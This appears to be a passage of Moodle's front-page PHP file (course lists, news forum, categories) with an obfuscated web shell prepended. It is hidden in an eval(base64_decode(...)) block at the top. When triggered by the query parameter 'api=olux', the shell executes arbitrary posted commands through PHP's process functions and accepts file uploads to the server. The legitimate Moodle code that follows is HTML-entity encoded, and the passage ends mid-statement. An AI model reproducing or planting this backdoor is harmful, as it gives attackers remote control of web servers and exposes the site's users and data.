<?php\neval(base64_decode('aWYgKCRfR0VUWydhcGknXSA9PSAib2x1eCIpIHsKCgllY2hvICc8aHRtbCBsYW5nPSJlbiI+JzsKCWVjaG8gJzxib2R5Pic7CgllY2hvICc8aDI+c2hlbGxAb2x1eCA+XyA8L2gyPic7CgllY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPic7CgllY2hvICc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBpZD0iY21kIiB2YWx1ZT0iIj48L2lucHV0Pic7CgllY2hvICc8YnV0dG9uIHR5cGU9InN1Ym1pdCI+RXhlY3V0ZTwvYnV0dG9uPic7CgllY2hvICc8L2Zvcm0+JzsKCWVjaG8gJzwvYm9keT4nOwoJZWNobyAnPC9odG1sPic7CgoJJHJldHZhbCA9ICIiOwoJJGNtZCA9ICIiOwoKCglpZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgoJCSRmdW5jc19hbGwgPSBhcnJheSgic2hlbGxfZXhlYyIsImV4ZWMiLCJzeXN0ZW0iLCJwb3BlbiIsInBhc3N0aHJ1IiwicHJvY19vcGVuIik7CgkJJGZ1bmNzX3N0ciA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CgkJJGZ1bmNzX3N0ciA9IHN0cl9yZXBsYWNlKCcgJywgJycsICRmdW5jc19zdHIpOwoJCSRmdW5jcyA9IGV4cGxvZGUoJywnLCRmdW5jc19zdHIpOwoKCQlmb3JlYWNoICggJGZ1bmNzX2FsbCBhcyAkdmFsICkgewoJCQkkZXhpc3QgPSAwOwkKCQkJZm9yZWFjaCAoICRmdW5jcyBhcyAkdmFsMiApIHsKCQkJCWlmICggJHZhbCA9PSAkdmFsMiApIHsgJGV4aXN0ID0gMTt9CgkJCX0KCQoJCQlpZiAoICRleGlzdCA9PSAwICkgewoJCQkJJGZ1bmNfaGwgPSAkdmFsOwoJCQkJYnJlYWs7CgkJCX0KCQl9CgoKCQlzd2l0Y2ggKCRmdW5jX2hsKSB7CgkJCWNhc2UgInNoZWxsX2V4ZWMiOgoJCQkJJGNtZCA9IHNoZWxsX2V4ZWMoJF9QT1NUWydjbWQnXSk7CgkJCQkkZnAgPSBmb3Blbignb3V0cHV0LnR4dCcsJ3cnKTsKCQkJCWZ3cml0ZSgkZnAsJGNtZCk7CgkJCQlmY2xvc2UoJGZwKTsKCQkJCWJyZWFrOwoJCQljYXNlICJleGVjIjoKCQkJCWV4ZWMoJF9QT1NUWydjbWQnXSwgJGNtZCwgJHJldHZhbCk7CgkJCQkkZnAgPSBmb3Blbignb3V0cHV0LnR4dCcsJ3cnKTsKCQkJCWZvcmVhY2goJGNtZCBhcyAkYnVmZikge2Z3cml0ZSgkZnAsIiRidWZmXG4iKTt9CgkJCQlmY2xvc2UoJGZwKTsKCQkJCWJyZWFrOwoJCQljYXNlICJwb3BlbiI6CgkJCQkkaGRsID0gcG9wZW4oJF9QT1NUWydjbWQnXSwncicpOwoJCQkJJGNtZCA9IGZyZWFkKCRoZGwsMTAyNDAwMCk7CgkJCQkkZnAgPSBmb3Blbignb3V0cHV0LnR4dCcsJ3cnKTsKCQkJCWZ3cml0ZSgkZnAsJGNtZCk7CgkJCQlwY2xvc2UoJGhkbCk7CgkJCQlmY2xvc2UoJGZwKTsKCQkJCWJyZWFrOwoJCQljYXNlICJwcm9jX29wZW4iOgoJCQkJJHByb2M9cHJvY19vcGVuKCRfUE9TVFsnY21kJ10sYXJyYXkoYXJyYXkoInBpcGUiLCJyIiksYXJyYXkoInBpcGUiLCJ3IiksYXJyYXkoInBpcGUiLCJ3IikpLCRwaXBlcyk7CgkJCQkkZnAgPSBmb3Blbignb3V0cHV0LnR4dCcsJ3cnKTsKCQkJCSRjbWQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7CgkJCQlmd3JpdGUoJGZwLCRjbWQpOwoJCQkJcHJvY19jbG9zZSgkcHJvYyk7CgkJCQlmY2xvc2UoJGZwKTsKCQkJCWJyZWFrOwoJCQljYXNlICJzeXN0ZW0iOgoJCQkJc3lzdGVtKCRfUE9TVFsnY21kJ10sICRyZXR2YWwpOwoJCQkJYnJlYWs7CgkJCWNhc2UgInBhc3N0aHJ1IjoKCQkJCXBhc3N0aHJ1KCRfUE9TVFsnY21kJ10sICRyZXR2YWwpOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CgkJCQllY2hvICJubyBmdW5jdGlvbiBhdmFpbGFibGUiOwoJCX0KCX0KCiAgICAgICAgaWYgKCAhZW1wdHkoJGNtZCkgKSB7CgoJCWlmICggZmlsZV9leGlzdHMoJ291dHB1dC50eHQnKSApIHsKCQkKCQkJJGZwID0gZm9wZW4oJ291dHB1dC50eHQnLCdyJyk7CgkJCXdoaWxlKCAhZmVvZigkZnApICkgeyBlY2hvIGZnZXRzKCRmcCkgLiAiPGJyPiI7IH0KCQkJZmNsb3NlKCRmcCk7CgkJCXVubGluaygnb3V0cHV0LnR4dCcpOwoJCX0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgCglpZighaXNzZXQoJGRpcmVjdG9yeSkpCgkJJGRpcmVjdG9yeSA9ICcvJzsKCWVsc2UgeyBpZighcHJlZ19tYXRjaCgnLy4qXC8kLycsICRkaXJlY3RvcnkpKSB7ICRkaXJlY3RvcnkgLj0gJy8nOyB9IH0KCQoJaWYocHJlZ19tYXRjaCgnL15jZCAoLiopLycsICRjb21tYW5kLCAkcmVzYnVmKSkgewogIAkJaWYoIXByZWdfbWF0Y2goJy9eXC8uKi8nLCAkcmVzYnVmWzFdKSkgeyAkZGlyZWN0b3J5IC49ICRyZXNidWZbMV07IH0KICAJCWVsc2UgeyAkZGlyZWN0b3J5ID0gJHJlc2J1ZlsxXTsgfQoJfQoKCWlmKGlzc2V0KCRjb21tYW5kKSkKCXsKCQllY2hvICc8cHJlPjxocj48eG1wPic7CgkJcGFzc3RocnUoImNkICRkaXJlY3Rvcnk7ICRjb21tYW5kIik7Cgl9CgoJZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ik1BWF9GSUxFX1NJWkUiIHZhbHVlPSIxMDAwMDAwMDAwIj4nOwoJZWNobyAnPGlucHV0IG5hbWU9InVzZXJmaWxlIiB0eXBlPSJmaWxlIiAvPic7CgllY2hvICc8aW5wdXQgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIC8+JzsKCWVjaG8gJzwvZm9ybT4nOwoKCWlmIChAaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1c2VyZmlsZSJdWyJ0bXBfbmFtZSJdKSkgewoJCWNvcHkoJF9GSUxFU1sidXNlcmZpbGUiXVsidG1wX25hbWUiXSwgIiIgLiAkX0ZJTEVTWyJ1c2VyZmlsZSJdWyJuYW1lIl0pOwoJCWVjaG8gIjxwPkZpbGUgVXBsb2FkZWQ8L3A+IjsKCX0KCn0='));\n?>\n&#60;&#63;php\n// This file is part of Moodle &#45; http&#58;//moodle.org/\n//\n// Moodle is free software&#58; you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version &#51; of the License, or\n// &#40;at your option&#41; any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY&#59; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle. If not, see &#60;http&#58;//www.gnu.org/licenses/&#62;.\n\n/&#42;&#42;\n &#42; Moodle frontpage.\n &#42;\n &#42; &#64;package core\n &#42; &#64;copyright &#49;&#57;&#57;&#57; onwards Martin Dougiamas &#40;http&#58;//dougiamas.com&#41;\n &#42; &#64;license http&#58;//www.gnu.org/copyleft/gpl.html GNU GPL v&#51; or later\n &#42;/\n\nif &#40;&#33;file&#95;exists&#40;&#39;./config.php&#39;&#41;&#41; &#123;\n header&#40;&#39;Location&#58; install.php&#39;&#41;&#59;\n die&#59;\n&#125;\n\nrequire&#95;once&#40;&#39;config.php&#39;&#41;&#59;\nrequire&#95;once&#40;&#36;CFG&#45;&#62;dirroot .&#39;/course/lib.php&#39;&#41;&#59;\nrequire&#95;once&#40;&#36;CFG&#45;&#62;libdir .&#39;/filelib.php&#39;&#41;&#59;\n\nredirect&#95;if&#95;major&#95;upgrade&#95;required&#40;&#41;&#59;\n\n&#36;urlparams &#61; array&#40;&#41;&#59;\nif &#40;&#33;empty&#40;&#36;CFG&#45;&#62;defaulthomepage&#41; &#38;&#38; &#40;&#36;CFG&#45;&#62;defaulthomepage &#61;&#61; HOMEPAGE&#95;MY&#41; &#38;&#38; optional&#95;param&#40;&#39;redirect&#39;, &#49;, PARAM&#95;BOOL&#41; &#61;&#61;&#61; &#48;&#41; &#123;\n &#36;urlparams&#91;&#39;redirect&#39;&#93; &#61; &#48;&#59;\n&#125;\n&#36;PAGE&#45;&#62;set&#95;url&#40;&#39;/&#39;, &#36;urlparams&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;course&#40;&#36;SITE&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;pagelayout&#40;&#39;frontpage&#39;&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;other&#95;editing&#95;capability&#40;&#39;moodle/course&#58;update&#39;&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;other&#95;editing&#95;capability&#40;&#39;moodle/course&#58;manageactivities&#39;&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;other&#95;editing&#95;capability&#40;&#39;moodle/course&#58;activityvisibility&#39;&#41;&#59;\n\n// Prevent caching of this page to stop confusion when changing page after making AJAX changes.\n&#36;PAGE&#45;&#62;set&#95;cacheable&#40;false&#41;&#59;\n\nif &#40;&#36;CFG&#45;&#62;forcelogin&#41; &#123;\n require&#95;login&#40;&#41;&#59;\n&#125; else &#123;\n user&#95;accesstime&#95;log&#40;&#41;&#59;\n&#125;\n\n&#36;hasmaintenanceaccess &#61; has&#95;capability&#40;&#39;moodle/site&#58;maintenanceaccess&#39;, context&#95;system&#58;&#58;instance&#40;&#41;&#41;&#59;\n\n// If the site is currently under maintenance, then print a message.\nif &#40;&#33;empty&#40;&#36;CFG&#45;&#62;maintenance&#95;enabled&#41; and &#33;&#36;hasmaintenanceaccess&#41; &#123;\n print&#95;maintenance&#95;message&#40;&#41;&#59;\n&#125;\n\n&#36;hassiteconfig &#61; has&#95;capability&#40;&#39;moodle/site&#58;config&#39;, context&#95;system&#58;&#58;instance&#40;&#41;&#41;&#59;\n\nif &#40;&#36;hassiteconfig &#38;&#38; moodle&#95;needs&#95;upgrading&#40;&#41;&#41; &#123;\n redirect&#40;&#36;CFG&#45;&#62;wwwroot .&#39;/&#39;. &#36;CFG&#45;&#62;admin .&#39;/index.php&#39;&#41;&#59;\n&#125;\n\n// If site registration needs updating, redirect.\n&#92;core&#92;hub&#92;registration&#58;&#58;registration&#95;reminder&#40;&#39;/index.php&#39;&#41;&#59;\n\nif &#40;get&#95;home&#95;page&#40;&#41; &#33;&#61; HOMEPAGE&#95;SITE&#41; &#123;\n // Redirect logged&#45;in users to My Moodle overview if required.\n &#36;redirect &#61; optional&#95;param&#40;&#39;redirect&#39;, &#49;, PARAM&#95;BOOL&#41;&#59;\n if &#40;optional&#95;param&#40;&#39;setdefaulthome&#39;, false, PARAM&#95;BOOL&#41;&#41; &#123;\n set&#95;user&#95;preference&#40;&#39;user&#95;home&#95;page&#95;preference&#39;, HOMEPAGE&#95;SITE&#41;&#59;\n &#125; else if &#40;&#33;empty&#40;&#36;CFG&#45;&#62;defaulthomepage&#41; &#38;&#38; &#40;&#36;CFG&#45;&#62;defaulthomepage &#61;&#61; HOMEPAGE&#95;MY&#41; &#38;&#38; &#36;redirect &#61;&#61;&#61; &#49;&#41; &#123;\n redirect&#40;&#36;CFG&#45;&#62;wwwroot .&#39;/my/&#39;&#41;&#59;\n &#125; else if &#40;&#33;empty&#40;&#36;CFG&#45;&#62;defaulthomepage&#41; &#38;&#38; &#40;&#36;CFG&#45;&#62;defaulthomepage &#61;&#61; HOMEPAGE&#95;USER&#41;&#41; &#123;\n &#36;frontpagenode &#61; &#36;PAGE&#45;&#62;settingsnav&#45;&#62;find&#40;&#39;frontpage&#39;, null&#41;&#59;\n if &#40;&#36;frontpagenode&#41; &#123;\n &#36;frontpagenode&#45;&#62;add&#40;\n get&#95;string&#40;&#39;makethismyhome&#39;&#41;,\n new moodle&#95;url&#40;&#39;/&#39;, array&#40;&#39;setdefaulthome&#39; &#61;&#62; true&#41;&#41;,\n navigation&#95;node&#58;&#58;TYPE&#95;SETTING&#41;&#59;\n &#125; else &#123;\n &#36;frontpagenode &#61; &#36;PAGE&#45;&#62;settingsnav&#45;&#62;add&#40;get&#95;string&#40;&#39;frontpagesettings&#39;&#41;, null, navigation&#95;node&#58;&#58;TYPE&#95;SETTING, null&#41;&#59;\n &#36;frontpagenode&#45;&#62;force&#95;open&#40;&#41;&#59;\n &#36;frontpagenode&#45;&#62;add&#40;get&#95;string&#40;&#39;makethismyhome&#39;&#41;,\n new moodle&#95;url&#40;&#39;/&#39;, array&#40;&#39;setdefaulthome&#39; &#61;&#62; true&#41;&#41;,\n navigation&#95;node&#58;&#58;TYPE&#95;SETTING&#41;&#59;\n &#125;\n &#125;\n&#125;\n\n// Trigger event.\ncourse&#95;view&#40;context&#95;course&#58;&#58;instance&#40;SITEID&#41;&#41;&#59;\n\n// If the hub plugin is installed then we let it take over the homepage here.\nif &#40;file&#95;exists&#40;&#36;CFG&#45;&#62;dirroot.&#39;/local/hub/lib.php&#39;&#41; and get&#95;config&#40;&#39;local&#95;hub&#39;, &#39;hubenabled&#39;&#41;&#41; &#123;\n require&#95;once&#40;&#36;CFG&#45;&#62;dirroot.&#39;/local/hub/lib.php&#39;&#41;&#59;\n &#36;hub &#61; new local&#95;hub&#40;&#41;&#59;\n &#36;continue &#61; &#36;hub&#45;&#62;display&#95;homepage&#40;&#41;&#59;\n // Function display&#95;homepage&#40;&#41; returns true if the hub home page is not displayed\n // ...mostly when search form is not displayed for not logged users.\n if &#40;empty&#40;&#36;continue&#41;&#41; &#123;\n exit&#59;\n &#125;\n&#125;\n\n&#36;PAGE&#45;&#62;set&#95;pagetype&#40;&#39;site&#45;index&#39;&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;docs&#95;path&#40;&#39;&#39;&#41;&#59;\n&#36;editing &#61; &#36;PAGE&#45;&#62;user&#95;is&#95;editing&#40;&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;title&#40;&#36;SITE&#45;&#62;fullname&#41;&#59;\n&#36;PAGE&#45;&#62;set&#95;heading&#40;&#36;SITE&#45;&#62;fullname&#41;&#59;\n&#36;courserenderer &#61; &#36;PAGE&#45;&#62;get&#95;renderer&#40;&#39;core&#39;, &#39;course&#39;&#41;&#59;\necho &#36;OUTPUT&#45;&#62;header&#40;&#41;&#59;\n\n// Print Section or custom info.\n&#36;siteformatoptions &#61; course&#95;get&#95;format&#40;&#36;SITE&#41;&#45;&#62;get&#95;format&#95;options&#40;&#41;&#59;\n&#36;modinfo &#61; get&#95;fast&#95;modinfo&#40;&#36;SITE&#41;&#59;\n&#36;modnames &#61; get&#95;module&#95;types&#95;names&#40;&#41;&#59;\n&#36;modnamesplural &#61; get&#95;module&#95;types&#95;names&#40;true&#41;&#59;\n&#36;modnamesused &#61; &#36;modinfo&#45;&#62;get&#95;used&#95;module&#95;names&#40;&#41;&#59;\n&#36;mods &#61; &#36;modinfo&#45;&#62;get&#95;cms&#40;&#41;&#59;\n\nif &#40;&#33;empty&#40;&#36;CFG&#45;&#62;customfrontpageinclude&#41;&#41; &#123;\n include&#40;&#36;CFG&#45;&#62;customfrontpageinclude&#41;&#59;\n\n&#125; else if &#40;&#36;siteformatoptions&#91;&#39;numsections&#39;&#93; &#62; &#48;&#41; &#123;\n if &#40;&#36;editing&#41; &#123;\n // Make sure section with number &#49; exists.\n course&#95;create&#95;sections&#95;if&#95;missing&#40;&#36;SITE, &#49;&#41;&#59;\n // Re&#45;request modinfo in case section was created.\n &#36;modinfo &#61; get&#95;fast&#95;modinfo&#40;&#36;SITE&#41;&#59;\n &#125;\n &#36;section &#61; &#36;modinfo&#45;&#62;get&#95;section&#95;info&#40;&#49;&#41;&#59;\n if &#40;&#40;&#36;section &#38;&#38; &#40;&#33;empty&#40;&#36;modinfo&#45;&#62;sections&#91;&#49;&#93;&#41; or &#33;empty&#40;&#36;section&#45;&#62;summary&#41;&#41;&#41; or &#36;editing&#41; &#123;\n echo &#36;OUTPUT&#45;&#62;box&#95;start&#40;&#39;generalbox sitetopic&#39;&#41;&#59;\n\n // If currently moving a file then show the current clipboard.\n if &#40;ismoving&#40;&#36;SITE&#45;&#62;id&#41;&#41; &#123;\n &#36;stractivityclipboard &#61; strip&#95;tags&#40;get&#95;string&#40;&#39;activityclipboard&#39;, &#39;&#39;, &#36;USER&#45;&#62;activitycopyname&#41;&#41;&#59;\n echo &#39;&#60;p&#62;&#60;font size&#61;&#34;&#50;&#34;&#62;&#39;&#59;\n echo &#34;&#36;stractivityclipboard&#38;nbsp&#59;&#38;nbsp&#59;&#40;&#60;a href&#61;&#92;&#34;course/mod.php&#63;cancelcopy&#61;true&#38;amp&#59;sesskey&#61;&#34;.sesskey&#40;&#41;.&#34;&#92;&#34;&#62;&#34;&#59;\n echo get&#95;string&#40;&#39;cancel&#39;&#41; . &#39;&#60;/a&#62;&#41;&#39;&#59;\n echo &#39;&#60;/font&#62;&#60;/p&#62;&#39;&#59;\n &#125;\n\n &#36;context &#61; context&#95;course&#58;&#58;instance&#40;SITEID&#41;&#59;\n\n // If the section name is set we show it.\n if &#40;trim&#40;&#36;section&#45;&#62;name&#41; &#33;&#61;&#61; &#39;&#39;&#41; &#123;\n echo &#36;OUTPUT&#45;&#62;heading&#40;\n format&#95;string&#40;&#36;section&#45;&#62;name, true, array&#40;&#39;context&#39; &#61;&#62; &#36;context&#41;&#41;,\n &#50;,\n &#39;sectionname&#39;\n &#41;&#59;\n &#125;\n\n &#36;summarytext &#61; file&#95;rewrite&#95;pluginfile&#95;urls&#40;&#36;section&#45;&#62;summary,\n &#39;pluginfile.php&#39;,\n &#36;context&#45;&#62;id,\n &#39;course&#39;,\n &#39;section&#39;,\n &#36;section&#45;&#62;id&#41;&#59;\n &#36;summaryformatoptions &#61; new stdClass&#40;&#41;&#59;\n &#36;summaryformatoptions&#45;&#62;noclean &#61; true&#59;\n &#36;summaryformatoptions&#45;&#62;overflowdiv &#61; true&#59;\n\n echo format&#95;text&#40;&#36;summarytext, &#36;section&#45;&#62;summaryformat, &#36;summaryformatoptions&#41;&#59;\n\n if &#40;&#36;editing &#38;&#38; has&#95;capability&#40;&#39;moodle/course&#58;update&#39;, &#36;context&#41;&#41; &#123;\n &#36;streditsummary &#61; get&#95;string&#40;&#39;editsummary&#39;&#41;&#59;\n echo &#34;&#60;a title&#61;&#92;&#34;&#36;streditsummary&#92;&#34; &#34; .\n &#34; href&#61;&#92;&#34;course/editsection.php&#63;id&#61;&#36;section&#45;&#62;id&#92;&#34;&#62;&#34; . &#36;OUTPUT&#45;&#62;pix&#95;icon&#40;&#39;t/edit&#39;, &#36;streditsummary&#41; .\n &#34;&#60;/a&#62;&#60;br /&#62;&#60;br /&#62;&#34;&#59;\n &#125;\n\n &#36;courserenderer &#61; &#36;PAGE&#45;&#62;get&#95;renderer&#40;&#39;core&#39;, &#39;course&#39;&#41;&#59;\n echo &#36;courserenderer&#45;&#62;course&#95;section&#95;cm&#95;list&#40;&#36;SITE, &#36;section&#41;&#59;\n\n echo &#36;courserenderer&#45;&#62;course&#95;section&#95;add&#95;cm&#95;control&#40;&#36;SITE, &#36;section&#45;&#62;section&#41;&#59;\n echo &#36;OUTPUT&#45;&#62;box&#95;end&#40;&#41;&#59;\n &#125;\n&#125;\n// Include course AJAX.\ninclude&#95;course&#95;ajax&#40;&#36;SITE, &#36;modnamesused&#41;&#59;\n\nif &#40;isloggedin&#40;&#41; and &#33;isguestuser&#40;&#41; and isset&#40;&#36;CFG&#45;&#62;frontpageloggedin&#41;&#41; &#123;\n &#36;frontpagelayout &#61; &#36;CFG&#45;&#62;frontpageloggedin&#59;\n&#125; else &#123;\n &#36;frontpagelayout &#61; &#36;CFG&#45;&#62;frontpage&#59;\n&#125;\n\nforeach &#40;explode&#40;&#39;,&#39;, &#36;frontpagelayout&#41; as &#36;v&#41; &#123;\n switch &#40;&#36;v&#41; &#123;\n // Display the main part of the front page.\n case FRONTPAGENEWS&#58;\n if &#40;&#36;SITE&#45;&#62;newsitems&#41; &#123;\n // Print forums only when needed.\n require&#95;once&#40;&#36;CFG&#45;&#62;dirroot .&#39;/mod/forum/lib.php&#39;&#41;&#59;\n\n if &#40;&#33; &#36;newsforum &#61; forum&#95;get&#95;course&#95;forum&#40;&#36;SITE&#45;&#62;id, &#39;news&#39;&#41;&#41; &#123;\n print&#95;error&#40;&#39;cannotfindorcreateforum&#39;, &#39;forum&#39;&#41;&#59;\n &#125;\n\n // Fetch news forum context for proper filtering to happen.\n &#36;newsforumcm &#61; get&#95;coursemodule&#95;from&#95;instance&#40;&#39;forum&#39;, &#36;newsforum&#45;&#62;id, &#36;SITE&#45;&#62;id, false, MUST&#95;EXIST&#41;&#59;\n &#36;newsforumcontext &#61; context&#95;module&#58;&#58;instance&#40;&#36;newsforumcm&#45;&#62;id, MUST&#95;EXIST&#41;&#59;\n\n &#36;forumname &#61; format&#95;string&#40;&#36;newsforum&#45;&#62;name, true, array&#40;&#39;context&#39; &#61;&#62; &#36;newsforumcontext&#41;&#41;&#59;\n echo html&#95;writer&#58;&#58;link&#40;&#39;&#35;skipsitenews&#39;,\n get&#95;string&#40;&#39;skipa&#39;, &#39;access&#39;, core&#95;text&#58;&#58;strtolower&#40;strip&#95;tags&#40;&#36;forumname&#41;&#41;&#41;,\n array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block skip&#39;&#41;&#41;&#59;\n\n // Wraps site news forum in div container.\n echo html&#95;writer&#58;&#58;start&#95;tag&#40;&#39;div&#39;, array&#40;&#39;id&#39; &#61;&#62; &#39;site&#45;news&#45;forum&#39;&#41;&#41;&#59;\n\n if &#40;isloggedin&#40;&#41;&#41; &#123;\n &#36;SESSION&#45;&#62;fromdiscussion &#61; &#36;CFG&#45;&#62;wwwroot&#59;\n &#36;subtext &#61; &#39;&#39;&#59;\n if &#40;&#92;mod&#95;forum&#92;subscriptions&#58;&#58;is&#95;subscribed&#40;&#36;USER&#45;&#62;id, &#36;newsforum&#41;&#41; &#123;\n if &#40;&#33;&#92;mod&#95;forum&#92;subscriptions&#58;&#58;is&#95;forcesubscribed&#40;&#36;newsforum&#41;&#41; &#123;\n &#36;subtext &#61; get&#95;string&#40;&#39;unsubscribe&#39;, &#39;forum&#39;&#41;&#59;\n &#125;\n &#125; else &#123;\n &#36;subtext &#61; get&#95;string&#40;&#39;subscribe&#39;, &#39;forum&#39;&#41;&#59;\n &#125;\n echo &#36;OUTPUT&#45;&#62;heading&#40;&#36;forumname&#41;&#59;\n &#36;suburl &#61; new moodle&#95;url&#40;&#39;/mod/forum/subscribe.php&#39;, array&#40;&#39;id&#39; &#61;&#62; &#36;newsforum&#45;&#62;id, &#39;sesskey&#39; &#61;&#62; sesskey&#40;&#41;&#41;&#41;&#59;\n echo html&#95;writer&#58;&#58;tag&#40;&#39;div&#39;, html&#95;writer&#58;&#58;link&#40;&#36;suburl, &#36;subtext&#41;, array&#40;&#39;class&#39; &#61;&#62; &#39;subscribelink&#39;&#41;&#41;&#59;\n &#125; else &#123;\n echo &#36;OUTPUT&#45;&#62;heading&#40;&#36;forumname&#41;&#59;\n &#125;\n\n forum&#95;print&#95;latest&#95;discussions&#40;&#36;SITE, &#36;newsforum, &#36;SITE&#45;&#62;newsitems, &#39;plain&#39;, &#39;p.modified DESC&#39;&#41;&#59;\n\n // End site news forum div container.\n echo html&#95;writer&#58;&#58;end&#95;tag&#40;&#39;div&#39;&#41;&#59;\n\n echo html&#95;writer&#58;&#58;tag&#40;&#39;span&#39;, &#39;&#39;, array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block&#45;to&#39;, &#39;id&#39; &#61;&#62; &#39;skipsitenews&#39;&#41;&#41;&#59;\n &#125;\n break&#59;\n\n case FRONTPAGEENROLLEDCOURSELIST&#58;\n &#36;mycourseshtml &#61; &#36;courserenderer&#45;&#62;frontpage&#95;my&#95;courses&#40;&#41;&#59;\n if &#40;&#33;empty&#40;&#36;mycourseshtml&#41;&#41; &#123;\n echo html&#95;writer&#58;&#58;link&#40;&#39;&#35;skipmycourses&#39;,\n get&#95;string&#40;&#39;skipa&#39;, &#39;access&#39;, core&#95;text&#58;&#58;strtolower&#40;get&#95;string&#40;&#39;mycourses&#39;&#41;&#41;&#41;,\n array&#40;&#39;class&#39; &#61;&#62; &#39;skip skip&#45;block&#39;&#41;&#41;&#59;\n\n // Wrap frontpage course list in div container.\n echo html&#95;writer&#58;&#58;start&#95;tag&#40;&#39;div&#39;, array&#40;&#39;id&#39; &#61;&#62; &#39;frontpage&#45;course&#45;list&#39;&#41;&#41;&#59;\n\n echo &#36;OUTPUT&#45;&#62;heading&#40;get&#95;string&#40;&#39;mycourses&#39;&#41;&#41;&#59;\n echo &#36;mycourseshtml&#59;\n\n // End frontpage course list div container.\n echo html&#95;writer&#58;&#58;end&#95;tag&#40;&#39;div&#39;&#41;&#59;\n\n echo html&#95;writer&#58;&#58;tag&#40;&#39;span&#39;, &#39;&#39;, array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block&#45;to&#39;, &#39;id&#39; &#61;&#62; &#39;skipmycourses&#39;&#41;&#41;&#59;\n break&#59;\n &#125;\n // No &#34;break&#34; here. If there are no enrolled courses &#45; continue to &#39;Available courses&#39;.\n\n case FRONTPAGEALLCOURSELIST&#58;\n &#36;availablecourseshtml &#61; &#36;courserenderer&#45;&#62;frontpage&#95;available&#95;courses&#40;&#41;&#59;\n if &#40;&#33;empty&#40;&#36;availablecourseshtml&#41;&#41; &#123;\n echo html&#95;writer&#58;&#58;link&#40;&#39;&#35;skipavailablecourses&#39;,\n get&#95;string&#40;&#39;skipa&#39;, &#39;access&#39;, core&#95;text&#58;&#58;strtolower&#40;get&#95;string&#40;&#39;availablecourses&#39;&#41;&#41;&#41;,\n array&#40;&#39;class&#39; &#61;&#62; &#39;skip skip&#45;block&#39;&#41;&#41;&#59;\n\n // Wrap frontpage course list in div container.\n echo html&#95;writer&#58;&#58;start&#95;tag&#40;&#39;div&#39;, array&#40;&#39;id&#39; &#61;&#62; &#39;frontpage&#45;course&#45;list&#39;&#41;&#41;&#59;\n\n echo &#36;OUTPUT&#45;&#62;heading&#40;get&#95;string&#40;&#39;availablecourses&#39;&#41;&#41;&#59;\n echo &#36;availablecourseshtml&#59;\n\n // End frontpage course list div container.\n echo html&#95;writer&#58;&#58;end&#95;tag&#40;&#39;div&#39;&#41;&#59;\n\n echo html&#95;writer&#58;&#58;tag&#40;&#39;span&#39;, &#39;&#39;, array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block&#45;to&#39;, &#39;id&#39; &#61;&#62; &#39;skipavailablecourses&#39;&#41;&#41;&#59;\n &#125;\n break&#59;\n\n case FRONTPAGECATEGORYNAMES&#58;\n echo html&#95;writer&#58;&#58;link&#40;&#39;&#35;skipcategories&#39;,\n get&#95;string&#40;&#39;skipa&#39;, &#39;access&#39;, core&#95;text&#58;&#58;strtolower&#40;get&#95;string&#40;&#39;categories&#39;&#41;&#41;&#41;,\n array&#40;&#39;class&#39; &#61;&#62; &#39;skip skip&#45;block&#39;&#41;&#41;&#59;\n\n // Wrap frontpage category names in div container.\n echo html&#95;writer&#58;&#58;start&#95;tag&#40;&#39;div&#39;, array&#40;&#39;id&#39; &#61;&#62; &#39;frontpage&#45;category&#45;names&#39;&#41;&#41;&#59;\n\n echo &#36;OUTPUT&#45;&#62;heading&#40;get&#95;string&#40;&#39;categories&#39;&#41;&#41;&#59;\n echo &#36;courserenderer&#45;&#62;frontpage&#95;categories&#95;list&#40;&#41;&#59;\n\n // End frontpage category names div container.\n echo html&#95;writer&#58;&#58;end&#95;tag&#40;&#39;div&#39;&#41;&#59;\n\n echo html&#95;writer&#58;&#58;tag&#40;&#39;span&#39;, &#39;&#39;, array&#40;&#39;class&#39; &#61;&#62; &#39;skip&#45;block&#45;to&#39;, &#39;id&#39; &#61;&#62; &#39;skipcategories&#39;&#41;&#41;&#59;\n break&#59;\n\n case FRONTPAGECATEGORYCOMBO&#58;\n echo html&#95;writer&#58;&#58;link&#40;&#39;&#35;skipcourses&#39;,\n get&#95;string&#40;&#39;skipa&#39;, &#39;access&#39;, core&#95;text&#58;&#58;strtolower&#40;get&#95;string&#40;&#39;courses&#39;&#41;&#41;&#41;,\n array&#40;&#39;class&#39; &#61;&#62; &#39;skip skip&#45;block&#39;&#41;&#41;&#59;\n\n // Wrap frontpage category combo in div container.\n echo html&#95;writer&#58;&#58;start&#95;tag&#40;&#39;div&#39;, array&#40;&#39;id&#39; &#61;&#62; &#39;frontpage&#45;category&#45;combo&#39;&#41;&#41;&#59;\n\n echo &#36;OUTPUT&#45;&#62;heading&#40;get&#95;string&#40;&#39;courses&#39;&#41;&#41;&#59;\n echo 